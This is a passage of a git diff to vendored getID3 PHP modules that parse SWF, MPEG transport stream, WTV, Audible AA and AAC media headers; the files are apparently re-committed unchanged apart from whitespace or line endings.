Packed + Y41B Weitek YUV 4:1:1 Planar + Y41P Brooktree PC1 YUV 4:1:1 Packed + Y41T Brooktree PC1 YUV 4:1:1 with transparency + Y42B Weitek YUV 4:2:2 Planar + Y42T Brooktree UYUV 4:2:2 with transparency + Y422 ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera + Y800 Simple, single Y plane for monochrome images + Y8 Grayscale video + YC12 Intel YUV 12 codec + YUV8 Winnov Caviar YUV8 + YUV9 Intel YUV9 + YUY2 Uncompressed YUV 4:2:2 + YUYV Canopus YUV + YV12 YVU12 Planar + YVU9 Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes) + YVYU YVYU 4:2:2 Packed + ZLIB Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm) + ZPEG Metheus Video Zipper + + */ + + return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc'); + } + + /** + * @param string $byteword + * @param bool $signed + * + * @return int|float|false + */ + private function EitherEndian2Int($byteword, $signed=false) { + if ($this->container == 'riff') { + return getid3_lib::LittleEndian2Int($byteword, $signed); + } + return getid3_lib::BigEndian2Int($byteword, false, $signed); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.swf.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.swf.php index 925fe145fa..a9b2c1a657 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.swf.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.swf.php @@ -1,150 +1,150 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio-video.swf.php // -// module for analyzing Shockwave Flash files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_swf extends getid3_handler -{ - /** - * return all parsed tags if true, otherwise do not return tags not parsed by getID3 - * - * @var bool - */ - public $ReturnAllTagData = false; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'swf'; - $info['video']['dataformat'] = 'swf'; - - // http://www.openswf.org/spec/SWFfileformat.html - - $this->fseek($info['avdataoffset']); - - $SWFfileData = $this->fread($info['avdataend'] - $info['avdataoffset']); // 8 + 2 + 2 + max(9) bytes NOT including Frame_Size RECT data - - $info['swf']['header']['signature'] = substr($SWFfileData, 0, 3); - switch ($info['swf']['header']['signature']) { - case 'FWS': - $info['swf']['header']['compressed'] = false; - break; - - case 'CWS': - $info['swf']['header']['compressed'] = true; - break; - - default: - $this->error('Expecting "FWS" or "CWS" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['swf']['header']['signature']).'"'); - unset($info['swf']); - unset($info['fileformat']); - return false; - } - $info['swf']['header']['version'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 3, 1)); - $info['swf']['header']['length'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 4, 4)); - - if ($info['swf']['header']['compressed']) { - $SWFHead = substr($SWFfileData, 0, 8); - $SWFfileData = substr($SWFfileData, 8); - if ($decompressed = @gzuncompress($SWFfileData)) { - $SWFfileData = $SWFHead.$decompressed; - } else { - $this->error('Error decompressing compressed SWF data ('.strlen($SWFfileData).' bytes compressed, should be '.($info['swf']['header']['length'] - 8).' bytes uncompressed)'); - return false; - } - } - - $FrameSizeBitsPerValue = (ord(substr($SWFfileData, 8, 1)) & 0xF8) >> 3; - $FrameSizeDataLength = ceil((5 + (4 * $FrameSizeBitsPerValue)) / 8); - $FrameSizeDataString = str_pad(decbin(ord(substr($SWFfileData, 8, 1)) & 0x07), 3, '0', STR_PAD_LEFT); - for ($i = 1; $i < $FrameSizeDataLength; $i++) { - $FrameSizeDataString .= str_pad(decbin(ord(substr($SWFfileData, 8 + $i, 1))), 8, '0', STR_PAD_LEFT); - } - list($X1, $X2, $Y1, $Y2) = explode("\n", wordwrap($FrameSizeDataString, $FrameSizeBitsPerValue, "\n", 1)); - $info['swf']['header']['frame_width'] = getid3_lib::Bin2Dec($X2); - $info['swf']['header']['frame_height'] = getid3_lib::Bin2Dec($Y2); - - // http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm - // Next in the header is the frame rate, which is kind of weird. - // It is supposed to be stored as a 16bit integer, but the first byte - // (or last depending on how you look at it) is completely ignored. - // Example: 0x000C -> 0x0C -> 12 So the frame rate is 12 fps. - - // Byte at (8 + $FrameSizeDataLength) is always zero and ignored - $info['swf']['header']['frame_rate'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 9 + $FrameSizeDataLength, 1)); - $info['swf']['header']['frame_count'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 10 + $FrameSizeDataLength, 2)); - - $info['video']['frame_rate'] = $info['swf']['header']['frame_rate']; - $info['video']['resolution_x'] = intval(round($info['swf']['header']['frame_width'] / 20)); - $info['video']['resolution_y'] = intval(round($info['swf']['header']['frame_height'] / 20)); - $info['video']['pixel_aspect_ratio'] = (float) 1; - - if (($info['swf']['header']['frame_count'] > 0) && ($info['swf']['header']['frame_rate'] > 0)) { - $info['playtime_seconds'] = $info['swf']['header']['frame_count'] / $info['swf']['header']['frame_rate']; - } -//echo __LINE__.'='.number_format(microtime(true) - $start_time, 3).'
                              '; - - - // SWF tags - - $CurrentOffset = 12 + $FrameSizeDataLength; - $SWFdataLength = strlen($SWFfileData); - - while ($CurrentOffset < $SWFdataLength) { -//echo __LINE__.'='.number_format(microtime(true) - $start_time, 3).'
                              '; - - $TagIDTagLength = getid3_lib::LittleEndian2Int(substr($SWFfileData, $CurrentOffset, 2)); - $TagID = ($TagIDTagLength & 0xFFFC) >> 6; - $TagLength = ($TagIDTagLength & 0x003F); - $CurrentOffset += 2; - if ($TagLength == 0x3F) { - $TagLength = getid3_lib::LittleEndian2Int(substr($SWFfileData, $CurrentOffset, 4)); - $CurrentOffset += 4; - } - - $TagData = array(); - $TagData['offset'] = $CurrentOffset; - $TagData['size'] = $TagLength; - $TagData['id'] = $TagID; - $TagData['data'] = substr($SWFfileData, $CurrentOffset, $TagLength); - switch ($TagID) { - case 0: // end of movie - break 2; - - case 9: // Set background color - //$info['swf']['tags'][] = $TagData; - $info['swf']['bgcolor'] = strtoupper(str_pad(dechex(getid3_lib::BigEndian2Int($TagData['data'])), 6, '0', STR_PAD_LEFT)); - break; - - default: - if ($this->ReturnAllTagData) { - $info['swf']['tags'][] = $TagData; - } - break; - } - - $CurrentOffset += $TagLength; - } - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio-video.swf.php // +// module for analyzing Shockwave Flash files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_swf extends getid3_handler +{ + /** + * return all parsed tags if true, otherwise do not return tags not parsed by getID3 + * + * @var bool + */ + public $ReturnAllTagData = false; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'swf'; + $info['video']['dataformat'] = 'swf'; + + // http://www.openswf.org/spec/SWFfileformat.html + + $this->fseek($info['avdataoffset']); + + $SWFfileData = $this->fread($info['avdataend'] - $info['avdataoffset']); // 8 + 2 + 2 + max(9) bytes NOT including Frame_Size RECT data + + $info['swf']['header']['signature'] = substr($SWFfileData, 0, 3); + switch ($info['swf']['header']['signature']) { + case 'FWS': + $info['swf']['header']['compressed'] = false; + break; + + case 'CWS': + $info['swf']['header']['compressed'] = true; + break; + + default: + $this->error('Expecting "FWS" or "CWS" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['swf']['header']['signature']).'"'); + unset($info['swf']); + unset($info['fileformat']); + return false; + } + $info['swf']['header']['version'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 3, 1)); + $info['swf']['header']['length'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 4, 4)); + + if ($info['swf']['header']['compressed']) { + $SWFHead = substr($SWFfileData, 0, 8); + $SWFfileData = substr($SWFfileData, 8); + if ($decompressed = @gzuncompress($SWFfileData)) { + $SWFfileData = $SWFHead.$decompressed; + } else { + $this->error('Error decompressing compressed SWF data ('.strlen($SWFfileData).' bytes compressed, should be '.($info['swf']['header']['length'] - 8).' bytes uncompressed)'); + return false; + } + } + + $FrameSizeBitsPerValue = (ord(substr($SWFfileData, 8, 1)) & 0xF8) >> 3; + $FrameSizeDataLength = ceil((5 + (4 * $FrameSizeBitsPerValue)) / 8); + $FrameSizeDataString = str_pad(decbin(ord(substr($SWFfileData, 8, 1)) & 0x07), 3, '0', STR_PAD_LEFT); + for ($i = 1; $i < $FrameSizeDataLength; $i++) { + $FrameSizeDataString .= str_pad(decbin(ord(substr($SWFfileData, 8 + $i, 1))), 8, '0', STR_PAD_LEFT); + } + list($X1, $X2, $Y1, $Y2) = explode("\n", wordwrap($FrameSizeDataString, $FrameSizeBitsPerValue, "\n", 1)); + $info['swf']['header']['frame_width'] = getid3_lib::Bin2Dec($X2); + $info['swf']['header']['frame_height'] = getid3_lib::Bin2Dec($Y2); + + // http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm + // Next in the header is the frame rate, which is kind of weird. + // It is supposed to be stored as a 16bit integer, but the first byte + // (or last depending on how you look at it) is completely ignored. + // Example: 0x000C -> 0x0C -> 12 So the frame rate is 12 fps. + + // Byte at (8 + $FrameSizeDataLength) is always zero and ignored + $info['swf']['header']['frame_rate'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 9 + $FrameSizeDataLength, 1)); + $info['swf']['header']['frame_count'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 10 + $FrameSizeDataLength, 2)); + + $info['video']['frame_rate'] = $info['swf']['header']['frame_rate']; + $info['video']['resolution_x'] = intval(round($info['swf']['header']['frame_width'] / 20)); + $info['video']['resolution_y'] = intval(round($info['swf']['header']['frame_height'] / 20)); + $info['video']['pixel_aspect_ratio'] = (float) 1; + + if (($info['swf']['header']['frame_count'] > 0) && ($info['swf']['header']['frame_rate'] > 0)) { + $info['playtime_seconds'] = $info['swf']['header']['frame_count'] / $info['swf']['header']['frame_rate']; + } +//echo __LINE__.'='.number_format(microtime(true) - $start_time, 3).'
                              '; + + + // SWF tags + + $CurrentOffset = 12 + $FrameSizeDataLength; + $SWFdataLength = strlen($SWFfileData); + + while ($CurrentOffset < $SWFdataLength) { +//echo __LINE__.'='.number_format(microtime(true) - $start_time, 3).'
                              '; + + $TagIDTagLength = getid3_lib::LittleEndian2Int(substr($SWFfileData, $CurrentOffset, 2)); + $TagID = ($TagIDTagLength & 0xFFFC) >> 6; + $TagLength = ($TagIDTagLength & 0x003F); + $CurrentOffset += 2; + if ($TagLength == 0x3F) { + $TagLength = getid3_lib::LittleEndian2Int(substr($SWFfileData, $CurrentOffset, 4)); + $CurrentOffset += 4; + } + + $TagData = array(); + $TagData['offset'] = $CurrentOffset; + $TagData['size'] = $TagLength; + $TagData['id'] = $TagID; + $TagData['data'] = substr($SWFfileData, $CurrentOffset, $TagLength); + switch ($TagID) { + case 0: // end of movie + break 2; + + case 9: // Set background color + //$info['swf']['tags'][] = $TagData; + $info['swf']['bgcolor'] = strtoupper(str_pad(dechex(getid3_lib::BigEndian2Int($TagData['data'])), 6, '0', STR_PAD_LEFT)); + break; + + default: + if ($this->ReturnAllTagData) { + $info['swf']['tags'][] = $TagData; + } + break; + } + + $CurrentOffset += $TagLength; + } + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.ts.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.ts.php index 945196b8bf..474503a213 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.ts.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.ts.php @@ -1,88 +1,88 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio-video.ts.php // -// module for analyzing MPEG Transport Stream (.ts) files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_ts extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $TSheader = $this->fread(19); - $magic = "\x47"; - if (substr($TSheader, 0, 1) != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at '.$info['avdataoffset'].', found '.getid3_lib::PrintHexBytes(substr($TSheader, 0, 1)).' instead.'); - return false; - } - $info['fileformat'] = 'ts'; - - // http://en.wikipedia.org/wiki/.ts - - $offset = 0; - $info['ts']['packet']['sync'] = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 1)); $offset += 1; - $pid_flags_raw = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 2)); $offset += 2; - $SAC_raw = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 1)); $offset += 1; - $info['ts']['packet']['flags']['transport_error_indicator'] = (bool) ($pid_flags_raw & 0x8000); // Set by demodulator if can't correct errors in the stream, to tell the demultiplexer that the packet has an uncorrectable error - $info['ts']['packet']['flags']['payload_unit_start_indicator'] = (bool) ($pid_flags_raw & 0x4000); // 1 means start of PES data or PSI otherwise zero only. - $info['ts']['packet']['flags']['transport_high_priority'] = (bool) ($pid_flags_raw & 0x2000); // 1 means higher priority than other packets with the same PID. - $info['ts']['packet']['packet_id'] = ($pid_flags_raw & 0x1FFF) >> 0; - - $info['ts']['packet']['raw']['scrambling_control'] = ($SAC_raw & 0xC0) >> 6; - $info['ts']['packet']['flags']['adaption_field_exists'] = (bool) ($SAC_raw & 0x20); - $info['ts']['packet']['flags']['payload_exists'] = (bool) ($SAC_raw & 0x10); - $info['ts']['packet']['continuity_counter'] = ($SAC_raw & 0x0F) >> 0; // Incremented only when a payload is present - $info['ts']['packet']['scrambling_control'] = $this->TSscramblingControlLookup($info['ts']['packet']['raw']['scrambling_control']); - - if ($info['ts']['packet']['flags']['adaption_field_exists']) { - $AdaptionField_raw = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 2)); $offset += 2; - $info['ts']['packet']['adaption']['field_length'] = ($AdaptionField_raw & 0xFF00) >> 8; // Number of bytes in the adaptation field immediately following this byte - $info['ts']['packet']['adaption']['flags']['discontinuity'] = (bool) ($AdaptionField_raw & 0x0080); // Set to 1 if current TS packet is in a discontinuity state with respect to either the continuity counter or the program clock reference - $info['ts']['packet']['adaption']['flags']['random_access'] = (bool) ($AdaptionField_raw & 0x0040); // Set to 1 if the PES packet in this TS packet starts a video/audio sequence - $info['ts']['packet']['adaption']['flags']['high_priority'] = (bool) ($AdaptionField_raw & 0x0020); // 1 = higher priority - $info['ts']['packet']['adaption']['flags']['pcr'] = (bool) ($AdaptionField_raw & 0x0010); // 1 means adaptation field does contain a PCR field - $info['ts']['packet']['adaption']['flags']['opcr'] = (bool) ($AdaptionField_raw & 0x0008); // 1 means adaptation field does contain an OPCR field - $info['ts']['packet']['adaption']['flags']['splice_point'] = (bool) ($AdaptionField_raw & 0x0004); // 1 means presence of splice countdown field in adaptation field - $info['ts']['packet']['adaption']['flags']['private_data'] = (bool) ($AdaptionField_raw & 0x0002); // 1 means presence of private data bytes in adaptation field - $info['ts']['packet']['adaption']['flags']['extension'] = (bool) ($AdaptionField_raw & 0x0001); // 1 means presence of adaptation field extension - if ($info['ts']['packet']['adaption']['flags']['pcr']) { - $info['ts']['packet']['adaption']['raw']['pcr'] = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 6)); $offset += 6; - } - if ($info['ts']['packet']['adaption']['flags']['opcr']) { - $info['ts']['packet']['adaption']['raw']['opcr'] = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 6)); $offset += 6; - } - } - - $this->error('MPEG Transport Stream (.ts) parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - - } - - /** - * @param int $raw - * - * @return string - */ - public function TSscramblingControlLookup($raw) { - $TSscramblingControlLookup = array(0x00=>'not scrambled', 0x01=>'reserved', 0x02=>'scrambled, even key', 0x03=>'scrambled, odd key'); - return (isset($TSscramblingControlLookup[$raw]) ? $TSscramblingControlLookup[$raw] : 'invalid'); - } -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio-video.ts.php // +// module for analyzing MPEG Transport Stream (.ts) files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_ts extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $TSheader = $this->fread(19); + $magic = "\x47"; + if (substr($TSheader, 0, 1) != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at '.$info['avdataoffset'].', found '.getid3_lib::PrintHexBytes(substr($TSheader, 0, 1)).' instead.'); + return false; + } + $info['fileformat'] = 'ts'; + + // http://en.wikipedia.org/wiki/.ts + + $offset = 0; + $info['ts']['packet']['sync'] = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 1)); $offset += 1; + $pid_flags_raw = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 2)); $offset += 2; + $SAC_raw = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 1)); $offset += 1; + $info['ts']['packet']['flags']['transport_error_indicator'] = (bool) ($pid_flags_raw & 0x8000); // Set by demodulator if can't correct errors in the stream, to tell the demultiplexer that the packet has an uncorrectable error + $info['ts']['packet']['flags']['payload_unit_start_indicator'] = (bool) ($pid_flags_raw & 0x4000); // 1 means start of PES data or PSI otherwise zero only. + $info['ts']['packet']['flags']['transport_high_priority'] = (bool) ($pid_flags_raw & 0x2000); // 1 means higher priority than other packets with the same PID. + $info['ts']['packet']['packet_id'] = ($pid_flags_raw & 0x1FFF) >> 0; + + $info['ts']['packet']['raw']['scrambling_control'] = ($SAC_raw & 0xC0) >> 6; + $info['ts']['packet']['flags']['adaption_field_exists'] = (bool) ($SAC_raw & 0x20); + $info['ts']['packet']['flags']['payload_exists'] = (bool) ($SAC_raw & 0x10); + $info['ts']['packet']['continuity_counter'] = ($SAC_raw & 0x0F) >> 0; // Incremented only when a payload is present + $info['ts']['packet']['scrambling_control'] = $this->TSscramblingControlLookup($info['ts']['packet']['raw']['scrambling_control']); + + if ($info['ts']['packet']['flags']['adaption_field_exists']) { + $AdaptionField_raw = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 2)); $offset += 2; + $info['ts']['packet']['adaption']['field_length'] = ($AdaptionField_raw & 0xFF00) >> 8; // Number of bytes in the adaptation field immediately following this byte + $info['ts']['packet']['adaption']['flags']['discontinuity'] = (bool) ($AdaptionField_raw & 0x0080); // Set to 1 if current TS packet is in a discontinuity state with respect to either the continuity counter or the program clock reference + $info['ts']['packet']['adaption']['flags']['random_access'] = (bool) ($AdaptionField_raw & 0x0040); // Set to 1 if the PES packet in this TS packet starts a video/audio sequence + $info['ts']['packet']['adaption']['flags']['high_priority'] = (bool) ($AdaptionField_raw & 0x0020); // 1 = higher priority + $info['ts']['packet']['adaption']['flags']['pcr'] = (bool) ($AdaptionField_raw & 0x0010); // 1 means adaptation field does contain a PCR field + $info['ts']['packet']['adaption']['flags']['opcr'] = (bool) ($AdaptionField_raw & 0x0008); // 1 means adaptation field does contain an OPCR field + $info['ts']['packet']['adaption']['flags']['splice_point'] = (bool) ($AdaptionField_raw & 0x0004); // 1 means presence of splice countdown field in adaptation field + $info['ts']['packet']['adaption']['flags']['private_data'] = (bool) ($AdaptionField_raw & 0x0002); // 1 means presence of private data bytes in adaptation field + $info['ts']['packet']['adaption']['flags']['extension'] = (bool) ($AdaptionField_raw & 0x0001); // 1 means presence of adaptation field extension + if ($info['ts']['packet']['adaption']['flags']['pcr']) { + $info['ts']['packet']['adaption']['raw']['pcr'] = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 6)); $offset += 6; + } + if ($info['ts']['packet']['adaption']['flags']['opcr']) { + $info['ts']['packet']['adaption']['raw']['opcr'] = getid3_lib::BigEndian2Int(substr($TSheader, $offset, 6)); $offset += 6; + } + } + + $this->error('MPEG Transport Stream (.ts) parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + + } + + /** + * @param int $raw + * + * @return string + */ + public function TSscramblingControlLookup($raw) { + $TSscramblingControlLookup = array(0x00=>'not scrambled', 0x01=>'reserved', 0x02=>'scrambled, even key', 0x03=>'scrambled, odd key'); + return (isset($TSscramblingControlLookup[$raw]) ? $TSscramblingControlLookup[$raw] : 'invalid'); + } +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.wtv.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.wtv.php index 5481a5fee7..ed37abe326 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.wtv.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.wtv.php @@ -1,37 +1,37 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.wtv.php // -// module for analyzing WTV (Windows Recorded TV Show) // -// audio-video files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_wtv extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'wtv'; - $info['video']['dataformat'] = 'wtv'; - - $this->error('WTV (Windows Recorded TV Show) files not properly processed by this version of getID3() ['.$this->getid3->version().']'); - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.wtv.php // +// module for analyzing WTV (Windows Recorded TV Show) // +// audio-video files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_wtv extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'wtv'; + $info['video']['dataformat'] = 'wtv'; + + $this->error('WTV (Windows Recorded TV Show) files not properly processed by this version of getID3() ['.$this->getid3->version().']'); + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.aa.php b/vendor/james-heinrich/getid3/getid3/module.audio.aa.php index 692944d182..171e72d160 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.aa.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.aa.php @@ -1,64 +1,64 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.aa.php // -// module for analyzing Audible Audiobook files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_aa extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $AAheader = $this->fread(8); - - $magic = "\x57\x90\x75\x36"; - if (substr($AAheader, 4, 4) != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($AAheader, 4, 4)).'"'); - return false; - } - - // shortcut - $info['aa'] = array(); - $thisfile_aa = &$info['aa']; - - $info['fileformat'] = 'aa'; - $info['audio']['dataformat'] = 'aa'; - $this->error('Audible Audiobook (.aa) parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - $info['audio']['bitrate_mode'] = 'cbr'; // is it? - $thisfile_aa['encoding'] = 'ISO-8859-1'; - - $thisfile_aa['filesize'] = getid3_lib::BigEndian2Int(substr($AAheader, 0, 4)); - if ($thisfile_aa['filesize'] > ($info['avdataend'] - $info['avdataoffset'])) { - $this->warning('Possible truncated file - expecting "'.$thisfile_aa['filesize'].'" bytes of data, only found '.($info['avdataend'] - $info['avdataoffset']).' bytes"'); - } - - $info['audio']['bits_per_sample'] = 16; // is it? - $info['audio']['sample_rate'] = $thisfile_aa['sample_rate']; - $info['audio']['channels'] = $thisfile_aa['channels']; - - //$info['playtime_seconds'] = 0; - //$info['audio']['bitrate'] = 0; - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.aa.php // +// module for analyzing Audible Audiobook files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_aa extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $AAheader = $this->fread(8); + + $magic = "\x57\x90\x75\x36"; + if (substr($AAheader, 4, 4) != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($AAheader, 4, 4)).'"'); + return false; + } + + // shortcut + $info['aa'] = array(); + $thisfile_aa = &$info['aa']; + + $info['fileformat'] = 'aa'; + $info['audio']['dataformat'] = 'aa'; + $this->error('Audible Audiobook (.aa) parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + $info['audio']['bitrate_mode'] = 'cbr'; // is it? + $thisfile_aa['encoding'] = 'ISO-8859-1'; + + $thisfile_aa['filesize'] = getid3_lib::BigEndian2Int(substr($AAheader, 0, 4)); + if ($thisfile_aa['filesize'] > ($info['avdataend'] - $info['avdataoffset'])) { + $this->warning('Possible truncated file - expecting "'.$thisfile_aa['filesize'].'" bytes of data, only found '.($info['avdataend'] - $info['avdataoffset']).' bytes"'); + } + + $info['audio']['bits_per_sample'] = 16; // is it? + $info['audio']['sample_rate'] = $thisfile_aa['sample_rate']; + $info['audio']['channels'] = $thisfile_aa['channels']; + + //$info['playtime_seconds'] = 0; + //$info['audio']['bitrate'] = 0; + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.aac.php b/vendor/james-heinrich/getid3/getid3/module.audio.aac.php index e671ccaf0e..d4f04b8545 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.aac.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.aac.php @@ -1,541 +1,541 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.aac.php // -// module for analyzing AAC Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_aac extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - $this->fseek($info['avdataoffset']); - if ($this->fread(4) == 'ADIF') { - $this->getAACADIFheaderFilepointer(); - } else { - $this->getAACADTSheaderFilepointer(); - } - return true; - } - - /** - * @return bool - */ - public function getAACADIFheaderFilepointer() { - $info = &$this->getid3->info; - $info['fileformat'] = 'aac'; - $info['audio']['dataformat'] = 'aac'; - $info['audio']['lossless'] = false; - - $this->fseek($info['avdataoffset']); - $AACheader = $this->fread(1024); - $offset = 0; - - if (substr($AACheader, 0, 4) == 'ADIF') { - - // http://faac.sourceforge.net/wiki/index.php?page=ADIF - - // http://libmpeg.org/mpeg4/doc/w2203tfs.pdf - // adif_header() { - // adif_id 32 - // copyright_id_present 1 - // if( copyright_id_present ) - // copyright_id 72 - // original_copy 1 - // home 1 - // bitstream_type 1 - // bitrate 23 - // num_program_config_elements 4 - // for (i = 0; i < num_program_config_elements + 1; i++ ) { - // if( bitstream_type == '0' ) - // adif_buffer_fullness 20 - // program_config_element() - // } - // } - - $AACheaderBitstream = getid3_lib::BigEndian2Bin($AACheader); - $bitoffset = 0; - - $info['aac']['header_type'] = 'ADIF'; - $bitoffset += 32; - $info['aac']['header']['mpeg_version'] = 4; - - $info['aac']['header']['copyright'] = substr($AACheaderBitstream, $bitoffset, 1) == '1'; - $bitoffset += 1; - if ($info['aac']['header']['copyright']) { - $info['aac']['header']['copyright_id'] = getid3_lib::Bin2String(substr($AACheaderBitstream, $bitoffset, 72)); - $bitoffset += 72; - } - $info['aac']['header']['original_copy'] = substr($AACheaderBitstream, $bitoffset, 1) == '1'; - $bitoffset += 1; - $info['aac']['header']['home'] = substr($AACheaderBitstream, $bitoffset, 1) == '1'; - $bitoffset += 1; - $info['aac']['header']['is_vbr'] = substr($AACheaderBitstream, $bitoffset, 1) 